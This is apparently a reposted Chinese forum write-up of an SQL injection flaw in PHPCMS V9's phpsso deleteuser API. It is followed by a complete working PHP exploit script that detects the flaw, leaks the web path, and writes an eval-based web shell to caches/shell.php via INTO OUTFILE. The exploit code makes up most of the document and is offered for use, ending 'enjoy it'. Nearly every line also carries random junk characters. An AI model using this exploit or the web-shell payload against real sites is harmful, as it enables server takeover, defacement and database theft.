PHPCMS V9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMS V9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMS V9搭建和维护。
1 S( {! l6 }. G$ }8 X o$ Y$ @# o6 K# N, @% R! I
所有使用PHPCMSV9搭建的网站均存在SQL注入漏洞,可能使黑客利用漏洞篡改网页、窃取数据库,甚至控制服务器。未启用ucenter服务的情况下,uc_key为空,define('UC_KEY', pc_base::load_config('system', 'uc_key'));deleteuser接口存在SQL注入漏洞。若MYSQL具有权限,可直接get webshell。
r" w$ f" j7 Z6 ~, c, J0 J, k8 |- N
漏洞分析:
) w" N8 K0 r& [+ r( ]: G1.未启用ucenter服务的情况下uc_key为空8 V7 s3 h7 z" \1 r' c1 x
define('UC_KEY', pc_base::load_config('system', 'uc_key'));8 L( h8 i) V& K7 D* C. z2 k
2. deleteuser接口存在SQL注入漏洞,UC算法加密的参数无惧GPC,程序员未意识到$get['ids']会存在SQL注入情况。; J i; V. ~. Q$ |- V+ F, j% F
public function deleteuser($get,$post) {7 T) V( o2 |2 G- K
pc_base::load_app_func('global', 'admin');4 d7 z( H. u# C9 \4 t% T
pc_base::load_app_class('messagequeue', 'admin' , 0);
8 l% S! N8 A" S: M$ ` $ids = new_stripslashes($get['ids']);' \$ Y; z8 x$ S4 N4 g% M/ }
$s = $this->member_db->select("ucuserid in ($ids)", "uid");8 }- q( ^" P+ S
SQL语句为7 f6 d1 x5 u. T6 c1 A3 `* ]) v
SELECT `uid` FROM `phpcmsv9`.`v9_sso_members` WHERE ucuserid in ($ids)( i0 u" T" A. G1 z4 ^0 ]
0 |5 f0 }& H7 q3 z$ ^# ]
利用代码,随便拼了个EXP,找路径正则写得很挫有BUG,没有注其他表了,懒得改了,MYSQL有权限的话直接get webshell A5 U$ T9 f7 |: a( x2 F; [) G$ j
<?php3 ?5 A4 c; z6 L6 V' |8 w$ P# f- q
print_r('
" ]" U/ P0 {2 i: g) W# S. D* u---------------------------------------------------------------------------0 D' d8 |* v4 A9 E/ {
PHPcms (v9 or Old Version) uc api sql injection 0day
" v/ O o+ }6 s' }5 G8 Lby rayh4c#80sec.com
4 G* }# V3 o8 O: Y8 g, @, d* [---------------------------------------------------------------------------
! ^! s, N2 f& j% _ f; f5 z: C');
5 O( E6 k: z7 s
( p* D0 S% T2 b" @) mif ($argc<3) {) `! ]8 M0 W# X! p2 \' m3 r
print_r('
2 o) Z1 |* V# h+ c& \1 \---------------------------------------------------------------------------# W0 r6 } ?7 r) m
Usage: php '.$argv[0].' host path OPTIONS
7 t# N w7 v9 m9 F. E6 Rhost: target server (ip/hostname)
& h) F8 A8 G- w9 P1 T: T: Vpath: path to phpcms
1 i, H( K j0 q$ nOptions:
% D+ u T3 v0 l% |' P3 d -p[port]: specify a port other than 80
2 X6 f; v& c6 r6 X -P[ip:port]: specify a proxy
; z' m2 `# F; B mExample:
* R1 j$ t9 n7 W; q/ Aphp '.$argv[0].' localhost /5 c/ p) \. q( t# a( C
php '.$argv[0].' localhost /phpcms/ -p81
" C1 l- \' H/ q& y& q; |/ mphp '.$argv[0].' localhost /phpcms/ -P1.1.1.1:80$ w8 G# d: s; P# H' O/ j
---------------------------------------------------------------------------: y9 K+ P1 R* X
');9 [2 v6 a/ ^$ ?) I
die;' @1 R7 J; t) U
}
0 y: O! D9 t( t9 y! p
! R K! S7 g/ K4 M0 ?- herror_reporting(7);
; D1 A( X* J* @& a I$ o. x3 G' w0 bini_set("max_execution_time",0);
3 K: z1 |/ l3 Nini_set("default_socket_timeout",5);! t q9 u& D$ X" H
% A0 N' i. X7 [8 r5 T! Efunction quick_dump($string); N! o$ G A |( Q6 z# G2 H
{
* g% ]8 R/ a' i& [+ C6 v $result='';$exa='';$cont=0;
7 G) P, }* @1 S for ($i=0; $i<=strlen($string)-1; $i++)' T3 j6 X: C' Q5 E5 }
{
2 x& r9 b# `7 L* ~% R if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))4 T4 Q/ J5 ^0 w2 }2 L
{$result.=" .";}$ y+ {& y+ D8 L5 V$ u' Z: W
else
, e2 e) o. ~" `; `, W {$result.=" ".$string[$i];}
6 }" } f/ m, o2 C; u if (strlen(dechex(ord($string[$i])))==2)
O, U# y& p" ? {$exa.=" ".dechex(ord($string[$i]));}
" b! N) F Z% m! @ e5 ? else
9 F7 W3 n7 v6 u {$exa.=" 0".dechex(ord($string[$i]));}. J% v3 N+ x" Y8 P3 C) f/ v
$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
0 Q7 M5 `9 Y$ N+ v; ~9 x$ i D }
9 t0 r( L" O/ ` return $exa."\r\n".$result;' _( V6 y8 ^. a
}
+ j1 R# O+ K: l! e( m% G$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
' ?- g6 q# \+ Z1 _. g8 a6 }6 {* a" P
function send($packet) H1 `! U8 T& P- `8 D: P& v
{* Q8 d+ N, F/ x ]3 G9 \& m0 O
global $proxy, $host, $port, $html, $proxy_regex;' ]3 Y7 i3 `2 {, g! Q& M. b; W
if ($proxy=='') {
! Q5 c7 T. z$ h# n9 [ $ock=fsockopen(gethostbyname($host),$port);
/ A% R7 D; F3 Y; t' v% |6 }2 z if (!$ock) {
9 g& F/ f( l j7 l" \( i8 I echo 'No response from '.$host.':'.$port; die;: |# Q/ N( F( |; V
} P8 S/ x0 X- B. [- |9 C
}
" @6 ]" w8 a4 R else {
1 o- j: g( w# ?! j+ J $c = preg_match($proxy_regex,$proxy);- k3 j3 Y6 {0 l( ]9 R) d x: T8 B
if (!$c) {& N* s/ M# U9 V0 U6 N$ {
echo 'Not a valid proxy...';die;7 H, ~1 e0 k% o8 g+ f
}/ d2 c! Q% N' A" V7 f8 ~2 | i
$parts=explode(':',$proxy);9 |% F b" K9 q- s: z7 T
$parts[1]=(int)$parts[1];$ F8 P6 ?6 k0 P0 e/ p
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";$ ]% M# K8 C; N4 P: ]! t$ @; j1 j* A/ r
$ock=fsockopen($parts[0],$parts[1]);
( F6 [; L! s5 i: J if (!$ock) {
3 \- ]$ M# y8 N5 n4 F echo 'No response from proxy...';die;
4 i7 {3 e8 h; V3 R: t. h }
) y d1 m8 [2 H3 V; L }
3 D1 y7 D) i7 o& T' J fputs($ock,$packet);
" T7 \7 N$ Q# h if ($proxy=='') {' l9 O2 m. @7 ^' c/ `
$html='';
! H, G$ y4 j: K5 x; h) y* v while (!feof($ock)) {
/ J1 F! d9 h: X$ {; G4 A $html.=fgets($ock);9 m+ H! @/ ?% N; V$ K+ d9 B8 ]; l" f
}
9 }% Y7 B( G6 O( | }: d. X" O' g6 [
else {
' p. X4 \6 `! Y $html='';
7 ~ R& j F) l5 H/ [" m2 I while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
# O- r: P) V: K5 ~) l: @4 M $html.=fread($ock,1);1 c' C0 _ U0 F; Q
}- d% M: c2 u( n" q9 o V/ h! U
}
6 f& v2 {9 k- W5 U3 n' b- U6 [ fclose($ock);+ j( i& S. R( o' U7 |
}2 Y, _* o7 A4 r/ G
4 u% m& @, Y1 N$ k% o8 E# g
$host=$argv[1];
% X7 z6 I. d# D$path=$argv[2];
4 Z; V7 t7 [- q6 o8 @$ D! E$port=80;
6 H2 t) ^' }3 E- c% T$proxy="";3 Z0 u: G* |* A; k4 P1 @
for ($i=3; $i<$argc; $i++){
$ @6 Z' _ N; A. a$temp=$argv[$i][0].$argv[$i][1];. u. |( Y1 u/ G' H R$ u5 o
if ($temp=="-p")
. b1 b8 P, m8 U{, s2 q9 M7 U2 Z
$port=(int)str_replace("-p","",$argv[$i]);+ x9 d6 y+ {* _3 u! R' N
}
; |( d. a9 K: E* u. [# zif ($temp=="-P"). i" r/ V8 k0 `9 C3 A3 D0 b* P
{9 q3 W( M& H$ U6 G- ^' v ]
$proxy=str_replace("-P","",$argv[$i]);% ]7 S0 b# K8 w4 O; K
}3 j0 U0 t Z$ |# X* n- c
}% f g; [* F2 m. \1 U3 v& s9 u
5 n, t9 U, Z5 t( iif (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}, _0 \* c; R: `, @
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}1 V: Z* d8 x3 P- O. Y
$ `' Z# {, F* r3 b# Lfunction authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {5 R4 u' Y# f" H; H+ A
" ^0 K! l6 q( x+ y) x% m9 G( L) @ $ckey_length = 4;
. [( y6 w' `$ X% X, ^% s1 s: {. ?0 s' z6 {, V/ k4 W
$key = md5($key ? $key : '');! w7 n% q5 A# |
$keya = md5(substr($key, 0, 16));
1 C7 @) G$ Z$ o# v# J( ~/ _ $keyb = md5(substr($key, 16, 16));7 C5 B9 H2 I' l2 T
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
: d7 _% l7 K" N3 a$ z' o6 S9 s
D( c, {+ T% ^6 X" E* ` $cryptkey = $keya.md5($keya.$keyc);) s2 M# `! R1 w! F; }
$key_length = strlen($cryptkey);% A; G; ]. n6 _# x. @
! M: e/ T* T: K% g+ [( { $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;0 v9 v" Q7 M# U" [+ i' t7 d! b' G
$string_length = strlen($string);
' `. J# I I' I
- `/ ^6 s* W2 |, \# _ $result = '';
" t5 |+ v0 r5 k3 f $box = range(0, 255);
; @# }$ l, N8 ~# U
' i- T: ~, S- P1 ^. M/ n$ L $rndkey = array();" o/ ^# I0 M3 u* O
for($i = 0; $i <= 255; $i++) {0 T3 e) j0 ^# ]7 e, I
$rndkey[$i] = ord($cryptkey[$i % $key_length]);9 e1 m' N% q' w1 x
}7 ~0 f! F2 p( `0 g! M7 C' F2 \
0 r$ |4 a' s1 Z for($j = $i = 0; $i < 256; $i++) {$ z) `; n) {; K) L- ~; P0 O- a9 Y" D
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
/ L: `+ [6 ?$ m9 O0 p" b( R $tmp = $box[$i];
6 S' n9 f/ W* a, |% ?0 ^; F9 G $box[$i] = $box[$j];
; k7 F! R9 S, z! ? $box[$j] = $tmp;
" ^; K: k2 e7 z# f5 Y1 y# S* o1 p }7 a o7 T3 y5 _0 x
) U" @8 V8 @# E% |" N for($a = $j = $i = 0; $i < $string_length; $i++) {" h. A, Z7 F- u1 C) f" F6 o! i
$a = ($a + 1) % 256;
7 H; m3 e* K1 Q $j = ($j + $box[$a]) % 256;) d6 L% e9 L& l* O
$tmp = $box[$a];) l* T1 @2 W! b2 T
$box[$a] = $box[$j];
! c+ N& J( u! g6 `4 Z $box[$j] = $tmp;" @/ u1 J% p0 h1 }* K
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));" M. @8 k+ x; W" R% ], k8 g
}* o" u1 T0 ~7 I, I: f: T
( n& q' A+ \2 U0 \- Y
if($operation == 'DECODE') {- h5 F$ r& ^3 N( C' Z
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
" w$ ~4 m9 w9 d' _( r return substr($result, 26);& l$ }7 A0 b% a3 ?. o$ j
} else {; p0 ?; k' F: X, Z
return '';5 A9 p5 g2 t# _& t3 R+ Q
}# w# [5 \/ Z4 x
} else {4 C7 @5 p0 ~$ r
return $keyc.str_replace('=', '', base64_encode($result));
A1 A' ?* D5 H$ Y0 [- {# C' s( f }6 o+ M& |/ M6 i H# f) }
4 D4 L& U4 C) Q! y}! U" k' ?* A/ x3 u2 V
# K) @+ L/ K( A- J$SQL = "time=999999999999999999999999&ids=1'&action=deleteuser";. M' |% f- |& Q0 X7 \3 E) { e
$SQL = urlencode(authcode($SQL, "ENCODE", ""));
& T8 Z ]7 A8 T5 L* `echo "[1] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";2 C p) u. u% ^
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";4 \! _( l) g; D. n# u
$packet.="User-Agent: Mozilla/5.0\r\n";
1 h& h! D4 r0 l: a9 s1 Y( R$packet.="Host: ".$host."\r\n";
( e2 f0 Y+ l2 ~. i- l, m- ?$packet.="Connection: Close\r\n\r\n";
9 b, J+ J# L9 N, _send($packet);+ t% H2 L3 K$ ?6 F6 f# j, T! L
if(strpos($html,"MySQL Errno") > 0){
( ?9 C; p% q0 {% d7 `. ]7 n' wecho "[2] 发现存在SQL注入漏洞"."\n";) w* O! ^# K8 U; S4 a
echo "[3] 访问 http://".$host.$p."phpsso_server/api/logout.php \n";
2 U: J) F& B) M/ n/ \+ n! H, u$packet ="GET ".$p."phpsso_server/api/logout.php"." HTTP/1.0\r\n";; {$ q2 h3 Z5 u7 E5 q& H7 m- R4 F
$packet.="User-Agent: Mozilla/5.0\r\n";
8 k/ L5 _5 \) h$ {% P$packet.="Host: ".$host."\r\n";# s* i2 O* Z) T1 g! e; w
$packet.="Connection: Close\r\n\r\n";
6 V( e0 e4 y8 z5 x' Esend($packet);$ D6 s3 F) l% o. {1 a
preg_match('/[A-Za-z]?[:]?[\/\x5c][^<^>]+[\/\x5c]phpsso_server[\/\x5c]/',$html, $matches);
( Y3 u/ b' L. @! D" m//print_r($matches);4 K, d' b* O- T# _. b
if(!empty($matches)){( \% F/ D! A) d- B& ~8 l
echo "[4] 得到web路径 " . $matches[0]."\n";1 p0 `/ X6 o2 U% \0 T1 g. _- _
echo "[5] 尝试写入文件 ". str_replace("\\","/",$matches[0]) ."caches/shell.php"."\n";1 [) y1 H# F# X3 Q0 v2 G
$SQL = "time=999999999999999999999999&ids=1)";# H3 Q' P" l. b/ |. v1 E0 G8 S
$SQL.=" and 1=2 union select '<?php eval($"."_REQUEST[a]);?>' into outfile '". str_replace("\\","/",$matches[0]) ."caches/shell.php'#";, d+ Z' b: t; A9 \" k3 w
$SQL.="&action=deleteuser";! Y2 ^, T, C$ h5 V
$SQL = urlencode(authcode($SQL, "ENCODE", ""));8 E0 ?( Z3 J# z6 I5 Q6 |3 @! B
echo "[6] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";. p) S3 T2 Y5 v
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
) Y8 z/ b$ Y& `1 W' A$packet.="User-Agent: Mozilla/5.0\r\n";
; U' m- J+ x0 C$packet.="Host: ".$host."\r\n";
. r% ]- C. I U* d$packet.="Connection: Close\r\n\r\n";0 R- X1 l7 Y8 j7 d! J- T0 P
send($packet);3 a7 V9 q8 A5 `7 q" K6 O- l5 L3 D( A1 C
if(strpos($html,"Access denied") > 0){1 Y0 s! V k! n) h4 H# q
echo "[-] MYSQL权限过低 禁止写入文件 ";
6 U9 ]) \. C9 Q) [5 f6 ~$ Cdie;
/ J, n5 {$ \& P, s# }} y* y8 Z1 x" K& H" ^1 e' W
echo "[6] 访问 http://".$host.$p."phpsso_server/caches/shell.php"."\n";
4 {7 h8 a2 k }$packet ="GET ".$p."phpsso_server/caches/shell.php?a=phpinfo(); HTTP/1.0\r\n";5 L+ L3 q# r/ I+ z' d7 D
$packet.="User-Agent: Mozilla/5.0\r\n";
, D& B9 S+ @0 N$ ?/ H. o: `9 Q$packet.="Host: ".$host."\r\n";9 Z5 F: ?# S: A: M4 I5 ^- m
$packet.="Connection: Close\r\n\r\n";" F7 ?# j% ^/ X+ ^
send($packet);$ E6 V! z& [; I: A( {! p4 c
if(strpos($html,"<title>phpinfo()</title>") > 0){2 p5 T* g8 @* } \* Q
echo "[7] 测试phpinfo成功!shell密码是a ! enjoy it ";
! A6 Z5 Q7 Q1 K( g$ p6 L% ~}" u0 g. A1 z5 M# M, M
}else{
, G" u3 ~% K& h2 m: ^& e3 J5 Iecho "[-]未取到web路径 ";
+ B# d: Y3 J d5 k}3 c8 _) r0 h$ g+ U7 ^6 F
}else{% C U% ~8 i$ s1 C
echo "[*]不存在SQL注入漏洞"."\n";4 O( Z4 M9 e+ ]; P# z' h
}
1 h3 A5 n/ Y9 k2 V: o: ?. K! N1 c# |- j5 z$ i# J/ b
?>5 z. o6 w. g7 p7 [, z* [. d
|